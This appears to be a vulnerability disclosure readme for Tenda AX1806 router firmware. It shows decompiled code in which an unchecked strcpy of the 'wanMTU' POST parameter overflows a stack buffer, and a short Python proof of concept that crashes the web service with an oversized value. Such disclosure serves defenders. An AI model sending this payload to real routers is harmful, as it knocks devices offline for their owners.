 **main** ▾

...


[IoT-vuln](#) / [Tenda](#) / [AX1806](#) / [fromAdvSetMacMtuWan](#) / [readme.md](#)



d1tto vuln details

 History

 1 contributor

 33 lines (20 sloc) | 969 Bytes

...

Overview

- The device's official website: <https://www.tenda.com.cn/product/AX1806.html>
- Firmware download website: <https://www.tenda.com.cn/download/detail-3306.html>

Affected version

v1.0.0.1

Vulnerability details

tdhttpd in directory /bin has a stack overflow vulnerability. The vulnerability occurs in the fromAdvSetMacMtuWan function, which can be accessed via the URL
goform/AdvSetMacMtuWan .

The vulnerability is located in the function sub_658D8 called by fromAdvSetMacMtuWan.

```

1 int __fastcall sub_658D8(int a1, int a2)
2 {
3     const char *v4; // r0
4     char *v5; // r0
5     int result; // r0
6     const char *v7; // r0
7     int v8[2]; // [sp+0h] [bp-28h] BYREF
8     int v9[8]; // [sp+8h] [bp-20h] BYREF
9
10    v8[0] = 0;
11    v8[1] = 0;
12    v9[0] = 0;
13    v9[1] = 0;
14    switch ( a2 )
15    {
16        case 1:
17            v4 = "static.mtu";
18            goto LABEL_6;
19        case 2:
20            v4 = "pppoe.mtu";
21            goto LABEL_6;
22        case 0:
23            v4 = "dhcp.mtu";
24    LABEL_6:
25        GetValue(v4, v8);
26        goto LABEL_9;
27    }
28    puts("unsupport connect type ");
29    LABEL_9:
30    v5 = websGetVar(a1, "wanMTU", (int)&byte_1C2CF0);
31    strcpy((char *)v9, v5);
32    result = strcmp((const char *)v9, (const char *)v8);
33    if ( !result )
34        return result;
35    if ( a2 == 1 )
36    {

```

After getting the POST parameter wanMTU , the function does not verify its length and copies it directly to local variables on the stack, resulting in stack overflow.

PoC

Poc of Denial of Service(DoS)

```
import requests
```

```

data = {
    b"wanMTU": b'A'*0x800,
}
res = requests.post("http://127.0.0.1/goform/AdvSetMacMtuWan", data=data)
print(res.content)

```